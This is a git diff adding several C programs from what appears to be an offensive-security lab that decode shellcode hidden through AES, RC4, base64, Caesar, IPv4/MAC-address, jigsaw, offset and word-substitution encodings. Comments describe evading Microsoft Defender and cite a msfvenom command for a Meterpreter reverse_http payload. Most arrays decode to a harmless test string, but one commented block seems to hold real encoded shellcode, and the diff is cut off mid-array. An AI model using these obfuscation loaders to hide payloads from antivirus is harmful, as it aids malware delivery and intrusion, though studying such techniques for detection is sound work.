diff --git a/lab_results/random_shellcode/aes_work.c b/lab_results/random_shellcode/aes_work.c new file mode 100644 index 0000000..fb13e4a --- /dev/null +++ b/lab_results/random_shellcode/aes_work.c @@ -0,0 +1,62 @@ +#include +#include +#include +#pragma comment (lib, "crypt32.lib") +#pragma comment (lib, "advapi32") + + +int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + + if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ + return -1; + } + if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ + return -1; + } + if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ + return -1; + } + if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ + return -1; + } + + if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ + return -1; + } + + CryptReleaseContext(hProv, 0); + CryptDestroyHash(hHash); + CryptDestroyKey(hKey); + + return 0; +} + +int main(void) +{ + + + char AESkey[] = { 0x91, 0x55, 0xee, 0x3f, 0x32, 0x29, 0xae, 0x62, 0x8e, 0x83, 0x10, 0xe1, 0x7c, 0x37, 0x83, 0xd5 }; + +char shellcode[] = { 0x1c, 0xf7, 0x86, 0xa5, 0x78, 0x50, 0xce, 0x38, 0x95, 0x21, 0xeb, 0x7c, 0x49, 0xe3, 0x8d, 0xcd, 0x92, 0x70, 0x4c, 0x8a, 0xb1, 0xf5, 0xfc, 0xb8, 0xf8, 0x86, 0xfd, 0xf4, 0x67, 0x10, 0xc, 0xd4, 0xa2, 0x2f, 0x2d, 0x78, 0x2d, 0xcf, 0x21, 0x8d, 0x60, 0xb4, 0x9, 0x15, 0x4, 0x16, 0x98, 0xaf }; + + AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey)); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/random_shellcode/base64_work.c b/lab_results/random_shellcode/base64_work.c new file mode 100644 index 0000000..c108912 --- /dev/null +++ b/lab_results/random_shellcode/base64_work.c @@ -0,0 +1,67 @@ +#include +#include + + +int b64index(char c) { + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + + +int base64_decode(const char* input, unsigned char* output) { + int len = strlen(input); + int out_idx = 0, val = 0, valb = -8; + + for (int i = 0; i < len; i++) { + int idx = b64index(input[i]); + if (idx == -1) continue; + val = (val << 6) + idx; + valb += 6; + if (valb >= 0) { + output[out_idx++] = (val >> valb) & 0xFF; + valb -= 8; + } + } + + return out_idx; +} + + +int main() { + + + const char* base64 = "//50AGUAcwB0AGUAaQBuAHMAegB3AG8AZQBpAG4AcwB6AHcAbwAyADIA"; +DWORD shellcodeLen = 42; + + + BYTE* shellcode = (BYTE*)malloc(shellcodeLen); + if (!shellcode) { + fprintf(stderr, "Memory allocation failed.\n"); + return 1; + } + + base64_decode(base64, shellcode); + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + free(shellcode); + return 0; +} diff --git a/lab_results/random_shellcode/base64api_work.c b/lab_results/random_shellcode/base64api_work.c new file mode 100644 index 0000000..26faa07 --- /dev/null +++ b/lab_results/random_shellcode/base64api_work.c @@ -0,0 +1,51 @@ +#include +#include +#include + +#pragma comment(lib, "Crypt32.lib") + + +int main() { + + + const char* base64 = "//50AGUAcwB0AGUAaQBuAHMAegB3AG8AZQBpAG4AcwB6AHcAbwAyADIA"; + + + DWORD shellcodeLen = 0; + + // First, get required buffer size + CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, NULL, &shellcodeLen, NULL, NULL); + + BYTE* shellcode = (BYTE*)malloc(shellcodeLen); + if (!shellcode) { + fprintf(stderr, "Memory allocation failed.\n"); + return 1; + } + + if (CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, shellcode, &shellcodeLen, NULL, NULL)) { + printf("shellcode (%lu bytes):\n", shellcodeLen); + fwrite(shellcode, 1, shellcodeLen, stdout); + printf("\n"); + } else { + fprintf(stderr, "Decoding failed. Error code: %lu\n", GetLastError()); + } + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + free(shellcode); + return 0; +} diff --git a/lab_results/random_shellcode/bin2ip_work.c b/lab_results/random_shellcode/bin2ip_work.c new file mode 100644 index 0000000..774eac4 --- /dev/null +++ b/lab_results/random_shellcode/bin2ip_work.c @@ -0,0 +1,90 @@ +#include +#include +#include +#include +#pragma comment(lib, "Ntdll.lib") + +// read array of shellcode formatted as IPv4 addresses +// https://gitlab.com/ORCA000/hellshell/-/blob/main/IPv4Fuscation/Ipv4Fuscation.cpp +// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f + +// compile: +// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + +int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) { + // Defender will detect this function if we don't do something to change the signature + // Write some output to the NULL device + FILE* outfile = fopen("nul", "w"); + + PCSTR Terminator = NULL; + void * LpBaseAddress2 = NULL; + NTSTATUS STATUS; + int i = 0; + + for (int j = 0; j < arrSize; j++) { + LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i); + if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], TRUE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) { + printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS); + return 1; + } + else { + i = i + 4; + fputs("out", outfile); + } + + fclose(outfile); // close the decoy file + + } + return 0; +} + +int main(void) { + // Shellcode as array of IP Addresses + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 bin2ip.py -v 4 -i met.bin + + + const char* IPv4s[] = { + "255.254.116.0", "101.0.115.0", "116.0.101.0", "105.0.110.0", "115.0.122.0", + "119.0.111.0", "101.0.105.0", "110.0.115.0", "122.0.119.0", "111.0.50.0", + "50.0.144.144" }; + + // declare a variable for our shellcode size + unsigned int shellcode_size = (sizeof(IPv4s) / sizeof(IPv4s[0])) * 4; + + // Declare a buffer for storing our shellcode + PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + // Decode IPs and copy into memory + if (DecodeIPv4Fuscation(&IPv4s, buffer, sizeof(IPv4s) / sizeof(IPv4s[0])) != 0) { + return -1; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + return 0; +} + diff --git a/lab_results/random_shellcode/bin2mac_work.c b/lab_results/random_shellcode/bin2mac_work.c new file mode 100644 index 0000000..b9ca000 --- /dev/null +++ b/lab_results/random_shellcode/bin2mac_work.c @@ -0,0 +1,82 @@ +#include +#include +#include +#include +#pragma comment(lib, "Ntdll.lib") + +// read array of shellcode formatted as MAC addresses +// https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp +// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f + +// compile: +// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + +int DecodeMACFuscation(const char* MAC[], void * LpBaseAddress, int arrSize) { + PCSTR Terminator = NULL; + void * LpBaseAddress2 = NULL; + NTSTATUS STATUS; + int i = 0; + for (int j = 0; j < arrSize; j++) { + LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i); + if (RtlEthernetStringToAddressA((PCSTR)MAC[j], &Terminator, LpBaseAddress2) != STATUS_SUCCESS) { + printf("[!] RtlEthernetStringToAddressA failed for %s result %x", MAC[j], STATUS); + return 1; + } + else { + i = i + 6; + } + } + return 0; +} + +int main(void) { + // Shellcode as array of MAC Addresses + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 bin2mac.py -i met.bin + + + const char* MACs[] = { + "ff-fe-74-00-65-00", "73-00-74-00-65-00", "69-00-6e-00-73-00", "7a-00-77-00-6f-00", + "65-00-69-00-6e-00", "73-00-7a-00-77-00", "6f-00-32-00-32-00" }; + + // declare a variable for our shellcode size + unsigned int shellcode_size = (sizeof(MACs) / sizeof(MACs[0])) * 6; + printf("shellcode size: %d\n", shellcode_size); + printf("size of array: %d\n", sizeof(MACs) / sizeof(MACs[0])); + + // Declare a buffer for storing our shellcode + PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + // Decode IPs and copy into memory + if (DecodeMACFuscation(&MACs, buffer, sizeof(MACs) / sizeof(MACs[0])) != 0) { + return -1; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + return 0; +} + diff --git a/lab_results/random_shellcode/caesar_work.c b/lab_results/random_shellcode/caesar_work.c new file mode 100644 index 0000000..f9d532a --- /dev/null +++ b/lab_results/random_shellcode/caesar_work.c @@ -0,0 +1,37 @@ +#include +#include + +int main(void) +{ + + char caesar[42] = {0xc, 0xb, 0x81, 0xd, 0x72, 0xd, 0x80, 0xd, 0x81, 0xd, 0x72, 0xd, 0x76, 0xd, 0x7b, 0xd, 0x80, 0xd, 0x87, 0xd, 0x84, 0xd, 0x7c, 0xd, 0x72, 0xd, 0x76, 0xd, 0x7b, 0xd, 0x80, 0xd, 0x87, 0xd, 0x84, 0xd, 0x7c, 0xd, 0x3f, 0xd, 0x3f, 0xd};unsigned char shellcode[42] = { 0x00 }; + + for (int i = 0; i < sizeof(caesar); i++) + { + if ((caesar[i] - 13) < 0) + { + printf(""); // because defender + shellcode[i] = caesar[i] + 256 - 13; + } + else + { + shellcode[i] = caesar[i] - 13; + } + } + + int idx = 0; + while (idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/random_shellcode/jargon_work.c b/lab_results/random_shellcode/jargon_work.c new file mode 100644 index 0000000..7de21eb --- /dev/null +++ b/lab_results/random_shellcode/jargon_work.c @@ -0,0 +1,64 @@ +#include +#include + + +int main(void) +{ + + + unsigned char* translation_table[256] = { "milan","bunch","anime","stuff","surge","notre","baker","peter","setup","blood","rebel","award","renew","modem","moral","yemen","naval","worth","slide","anger","cohen","eight","trail","ocean","tapes","cloud","ellen","dairy","ozone","chain","audio","kelly","mayor","julia","flash","bands","album","films","fifty","laura","plans","boots","relax","prior","stone","spies","keeps","spoke","power","royal","super","lions","fails","laden","monte","shoes","scary","novel","micro","glory","never","roots","wagon","omega","bible","forth","dates","adopt","nerve","enjoy","oasis","beats","valid","aware","brook","grace","until","gotta","going","syria","trips","loose","stage","major","arena","calls","align","goods","ought","jenny","water","serve","focus","pizza","comes","apple","shark","fraud","voted","youth","shelf","jeans","truly","dealt","horny","packs","every","lemon","glass","wells","graph","clock","lines","islam","blogs","carey","haven","ranch","chick","admit","roles","rocky","tones","rover","blank","black","north","plays","trunk","words","buddy","added","works","human","saver","vista","alloy","skins","delhi","crowd","shade","probe","forum","bunny","patio","witch","issue","debug","ghana","retro","tanks","costs","steps","would","dodge","speak","combo","bruce","tooth","watch","usage","burst","nokia","hence","derek","loans","cover","hello","males","squad","qatar","races","break","visit","spice","ivory","balls","noble","coach","child","argue","yours","shaft","broke","worse","twice","shall","verse","score","thing","while","drink","sheer","babes","yukon","wrote","excel","craft","dress","debut","viral","tough","smith","proof","sanyo","trust","occur","lanes","falls","proud","favor","tribe","strip","beach","thick","strap","meant","signs","prize","hired","round","souls","sagem","often","panic","rolls","panel","avoid","digit","stack","alien","enemy","diana","kerry","truth","badly","racks","thumb","guide","lands","woman","scott","today","honor","yahoo","jewel","aside","motor","lucas","teddy","items","boats","earth","civic","store","being" }; + +unsigned char* translated_shellcode[42] = { "being","store","haven","milan","jeans","milan","carey","milan","haven","milan","jeans","milan","packs","milan","graph","milan","carey","milan","tones","milan","admit","milan","clock","milan","jeans","milan","packs","milan","graph","milan","carey","milan","tones","milan","admit","milan","clock","milan","super","milan","super","milan" }; + +unsigned char shellcode[42] = {0}; +int sc_len = sizeof(shellcode); + + printf("Translating shellcode!\n"); + /* + for loop is defined as such: + for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++) + */ + for (int sc_index = 0; sc_index < 42; sc_index++) { + for (int tt_index = 0; tt_index <= 255; tt_index++) { + //if (translation_table[tt_index] == translated_shellcode[sc_index]) { + if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) { + shellcode[sc_index] = tt_index; + break; + } + } + } + + + + /* SHELLCODE will look like this: + unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer","point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit" }; + unsigned char* translated_shellcode[598] = { "spank","yards","squad","array","tions","sugar","kevin","music","music","music","scuba","guide","scuba","feels","shoot","guide","yards","exist","small","tours","level","yards","bears","shoot","laugh","yards","bears","shoot","strap","yards","bears","shoot","yacht","yards","watts","pumps","train","train","yards","bears","favor","feels","blink","exist","diane","yards","exist","birth","stone","blond","heard","notre","wings","arrow","yacht","scuba","games","diane","puppy","scuba","taste","games","civic","strip","shoot","yards","bears","shoot","yacht","scuba","guide","bears","value","blond","yards","taste","frost","carey","kathy","bring","strap","manor","wings","watts","debug","favor","music","music","music","bears","brown","guest","music","music","music","yards","debug","birth","coins","shirt","yards","taste","frost","feels","bears","yards","strap","cells","bears","slope","yacht","smoke","taste","frost","usage","tours","blink","exist","diane","yards","visit","diane","scuba","bears","swift","guest","yards","taste","james","yards","exist","birth","stone","scuba","games","diane","puppy","scuba","taste","games","tires","solve","nokia","grams","sheet","audio","sheet","heath","lanka","happy","items","today","nokia","buses","fires","cells","bears","slope","heath","smoke","taste","frost","carey","scuba","bears","screw","yards","cells","bears","slope","fever","smoke","taste","frost","scuba","bears","endif","guest","scuba","fires","scuba","fires","mails","yards","taste","frost","bands","firms","scuba","fires","scuba","bands","scuba","firms","yards","squad","lloyd","yacht","scuba","shoot","visit","solve","fires","scuba","bands","firms","yards","bears","touch","dirty","bacon","visit","visit","visit","going","yards","exist","stuck","holly","smoke","teddy","fatty","tapes","dense","tapes","dense","level","coins","music","scuba","tours","yards","claim","opens","smoke","means","pride","sheet","fatty","shall","bonus","visit","smith","holly","holly","yards","claim","opens","holly","firms","blink","exist","birth","blink","exist","diane","holly","holly","smoke","mouth","skirt","tours","anger","teach","music","music","music","music","visit","smith","sugar","upper","music","music","music","exist","items","glory","pairs","exist","larry","tires","pairs","exist","items","amber","pairs","exist","offer","swift","music","firms","yards","claim","games","smoke","means","birth","feels","music","music","music","blink","exist","diane","holly","holly","goals","audio","holly","smoke","mouth","cedar","claim","outer","lyric","music","music","music","music","visit","smith","sugar","blink","music","music","music","young","favor","level","happy","enter","packs","packs","goals","larry","cards","dense","train","maine","train","glory","bench","uncle","scuba","packs","larry","shirt","heard","scuba","enter","goals","enter","favor","maine","tapes","holly","lexus","cache","larry","blink","bacon","tours","disks","fires","fires","fatty","favor","dairy","singh","disks","loose","goals","loose","uncle","maine","cells","offer","bacon","logan","value","nokia","larry","scuba","maine","packs","lexus","fires","tires","coins","yards","larry","enter","train","sheet","fires","larry","bacon","shoot","cedar","bench","dense","cedar","music","yards","claim","games","holly","firms","scuba","fires","blink","exist","diane","holly","yards","hello","music","wings","funds","gamma","music","music","music","music","feels","holly","holly","smoke","means","pride","jesus","bench","pairs","adult","visit","smith","yards","claim","lyric","goals","simon","speak","holly","firms","yards","claim","grams","blink","exist","diane","blink","exist","diane","holly","holly","smoke","means","pride","spies","crime","strap","tribe","visit","smith","debug","birth","nokia","donna","yards","means","games","guest","heavy","music","music","smoke","mouth","cells","tions","focal","solve","music","music","music","music","visit","smith","yards","visit","dolls","coins","wings","jesus","kevin","sugar","bench","music","music","music","holly","bands","goals","slope","firms","smoke","claim","today","games","civic","upper","smoke","means","birth","music","upper","music","music","smoke","mouth","fires","hairy","holly","nodes","music","music","music","music","visit","smith","yards","meyer","holly","holly","yards","claim","roots","yards","claim","grams","yards","claim","eight","smoke","means","birth","music","yacht","music","music","smoke","claim","drops","smoke","mouth","touch","keith","claim","civic","music","music","music","music","visit","smith","yards","squad","meter","yacht","debug","birth","coins","worry","carey","bears","bonus","yards","taste","skype","debug","birth","nokia","small","fires","skype","fires","goals","music","bands","smoke","means","pride","tions","storm","paste","tours","visit","smith" }; + + unsigned char shellcode[598] = {0}; + int sc_len = sizeof(shellcode); + + for (int sc_index = 0; sc_index < 598; sc_index++) { + printf(""); // Defender is detecting the translation routine ¯\_(ツ)_/¯ + for (int tt_index = 0; tt_index <= 255; tt_index++) { + if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) { + shellcode[sc_index] = tt_index; + break; + } + } + } + */ + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } +} diff --git a/lab_results/random_shellcode/jigsaw_work.c b/lab_results/random_shellcode/jigsaw_work.c new file mode 100644 index 0000000..a7add96 --- /dev/null +++ b/lab_results/random_shellcode/jigsaw_work.c @@ -0,0 +1,38 @@ +#include +#include + + +int main(void) +{ + + + unsigned char jigsaw[42] = { 0x00, 0x00, 0x74, 0x6f, 0x73, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x6e, 0xff, 0x74, 0x6e, 0x32, 0x00, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x00, 0x32, 0x00, 0x77, 0x00, 0x73, 0x00, 0x00, 0x65, 0x73, 0x00, 0x7a, 0x65, 0x00, 0x00, 0x00, 0x77, 0x65, 0xfe, 0x00, 0x69 }; + +int positions[42] = { 17, 3, 8, 22, 30, 19, 32, 33, 37, 13, 14, 0, 2, 28, 38, 15, 7, 12, 5, 36, 41, 25, 40, 9, 20, 11, 16, 29, 23, 24, 6, 31, 18, 10, 39, 27, 21, 34, 4, 1, 35, 26 }; + + +unsigned char shellcode[42] = { 0x00 }; +int position; + +// Reconstruct the payload +for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { + position = positions[idx]; + shellcode[position] = jigsaw[idx]; +} + + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } +} diff --git a/lab_results/random_shellcode/noobfuscation_work.c b/lab_results/random_shellcode/noobfuscation_work.c new file mode 100644 index 0000000..bc9ada9 --- /dev/null +++ b/lab_results/random_shellcode/noobfuscation_work.c @@ -0,0 +1,27 @@ +#include +#include + + +int main(void) +{ + + unsigned char shellcode[42] = {255, 254, 116, 0, 101, 0, 115, 0, 116, 0, 101, 0, 105, 0, 110, 0, 115, 0, 122, 0, 119, 0, 111, 0, 101, 0, 105, 0, 110, 0, 115, 0, 122, 0, 119, 0, 111, 0, 50, 0, 50, 0}; + + printf("All this program does is store shellcode and print this message.\n"); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + +} + diff --git a/lab_results/random_shellcode/offset_work.c b/lab_results/random_shellcode/offset_work.c new file mode 100644 index 0000000..9d5bb33 --- /dev/null +++ b/lab_results/random_shellcode/offset_work.c @@ -0,0 +1,50 @@ +#include +#include +#include + + +int main(){ + + + unsigned char first_byte = 0xff;unsigned char delta[41] = {0xff, 0x76, 0x8c, 0x65, 0x9b, 0x73, 0x8d, 0x74, 0x8c, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x32, 0xce, 0x32, 0xce };unsigned char shellcode[42] = { 0x00 }; + + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 offset.py -i met.bin + + //Size of shellcode array + int cap = sizeof(delta) / sizeof(delta[0]); + + //Setting first byte of the reconstituted array to the first byte of the payload + shellcode[0] = first_byte; + + // keep track of our positions + unsigned int delta_idx, shellcode_idx; + + /* Take initial byte and add the delta to it to get the second byte. Take second byte + and add second delta to get third byte and so on. */ + for (delta_idx = 0; delta_idx < cap; delta_idx++) + { + shellcode_idx = delta_idx + 1; + shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx]; + } + + + for (int l = 0; l < cap + 1; l++) + { + //Last run needs to print closing bracket and semicolon + if (l == (cap)) { + printf("0x%02x", shellcode[l]); + } + else { + //Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line + if ((l + 1) % 15 == 0) { + printf("0x%02x,\n", shellcode[l]); + } + else { + printf("0x%02x,", shellcode[l]); + } + } + } + + return 0; +} diff --git a/lab_results/random_shellcode/rc4api_work.c b/lab_results/random_shellcode/rc4api_work.c new file mode 100644 index 0000000..d4ed987 --- /dev/null +++ b/lab_results/random_shellcode/rc4api_work.c @@ -0,0 +1,68 @@ +#include +#include + +/* + Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/ + + SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer. + Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer. + Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer. +*/ + + +// Function prototype for SystemFunction033 +typedef NTSTATUS(WINAPI* _SystemFunction033)( + struct ustring* memoryRegion, + struct ustring* keyPointer); + + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + + +int main() { + + + // declare SystemFunction033 for use + _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033"); + + char _key[] = "VHOZNPIT63ELGVDV";char shellcode[] = {0xa4, 0xca, 0x9f, 0x90, 0x4e, 0x4c, 0xad, 0x77, 0x96, 0x8e, 0x33, 0x36, 0x6a, 0x63, 0x8a, 0x4b, 0xd8, 0x49, 0x1e, 0x66, 0xfa, 0x34, 0xe6, 0x83, 0x39, 0x5f, 0x36, 0xec, 0xa6, 0x69, 0xff, 0x91, 0x10, 0x92, 0x72, 0xdc, 0xd3, 0x81, 0x66, 0x11, 0x79, 0xb}; + + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 rc4_encrypt.py -i met.bin + /*char _key[] = "XK53QSV2MSEPPKAU"; + unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 0xb2, 0xae, 0x14, 0xd7, 0x3, 0xa7, 0xcf, 0xb3, 0x13, 0x86, 0xc5, 0x8, 0x2b, 0x8d, 0x7c, 0xa7, 0xdd, 0x94, 0xd8, 0x47, 0x8, 0xee, 0xb7, 0x1b, 0xf2, 0x83, 0x32, 0x85, 0x8a, 0xbb, 0xee, 0x46, 0xd3, 0x9c, 0xd8, 0x75, 0xe0, 0xc0, 0x5e, 0x48, 0x4a, 0xb, 0xaf, 0xb6, 0x97, 0x57, 0x96, 0x96, 0x47, 0x70, 0xa2, 0x99, 0x15, 0x30, 0xbd, 0x70, 0x36, 0xa1, 0x47, 0x79, 0x6a, 0xec, 0x46, 0x8b, 0x7e, 0x46, 0xc5, 0xbe, 0x30, 0x6b, 0x1d, 0x4, 0xfb, 0x4f, 0x5a, 0xa4, 0x77, 0xfa, 0xbf, 0x2f, 0xbd, 0xd4, 0x6d, 0x73, 0xd3, 0xc9, 0xff, 0xe4, 0x78, 0x14, 0x47, 0xaa, 0xf8, 0x90, 0x29, 0x61, 0x1f, 0xa9, 0xcd, 0xb7, 0xac, 0xfe, 0x35, 0x40, 0x5c, 0x61, 0x2b, 0xf9, 0x2e, 0x4b, 0x40, 0xdd, 0x7e, 0x31, 0xe3, 0x3c, 0xd1, 0x20, 0xca, 0x60, 0xaf, 0x56, 0x4e, 0xfd, 0x89, 0xa4, 0x48, 0x70, 0x6b, 0xf0, 0xc2, 0x64, 0x75, 0x22, 0xd8, 0xfc, 0x78, 0x13, 0xb7, 0x2a, 0x0, 0x41, 0xfd, 0xe9, 0x69, 0x79, 0x73, 0x34, 0x70, 0x3d, 0x9b, 0xd5, 0x2c, 0x85, 0x47, 0x9d, 0x22, 0x80, 0x30, 0x42, 0xaa, 0xa3, 0xe9, 0xe0, 0xf, 0x8f, 0x31, 0xb6, 0x0, 0xef, 0xdb, 0x70, 0xe6, 0x64, 0x1a, 0xd0, 0xba, 0x54, 0x89, 0x8a, 0xe6, 0xff, 0x4d, 0xca, 0x46, 0x43, 0xd1, 0xa5, 0xcc, 0x43, 0xa1, 0x69, 0x75, 0xb6, 0x5b, 0xe8, 0x2, 0xf3, 0x52, 0xab, 0x28, 0xc3, 0xdb, 0xd2, 0x54, 0x7, 0xa2, 0x67, 0xe, 0x91, 0x4, 0x5e, 0x23, 0xbe, 0xa0, 0x32, 0x7a, 0x44, 0x96, 0xdd, 0x1f, 0xbb, 0x5b, 0x1a, 0xde, 0xb5, 0x8f, 0xea, 0xb1, 0x53, 0x28, 0x50, 0xa, 0x5f, 0xdf, 0x25, 0x4a, 0xf, 0x18, 0x5c, 0x15, 0x12, 0xbe, 0xb3, 0x3c, 0x6e, 0x87, 0xc, 0x83, 0x2a, 0xfb, 0x8e, 0x69, 0x4f, 0xe0, 0x3c, 0x9f, 0xfe, 0x9f, 0x14, 0x60, 0x4b, 0xa, 0x5a, 0xc9, 0x69, 0x37, 0x67, 0x31, 0x3b, 0xb5, 0xe5, 0x74, 0xc5, 0xb3, 0x11, 0x4e, 0xab, 0x9c, 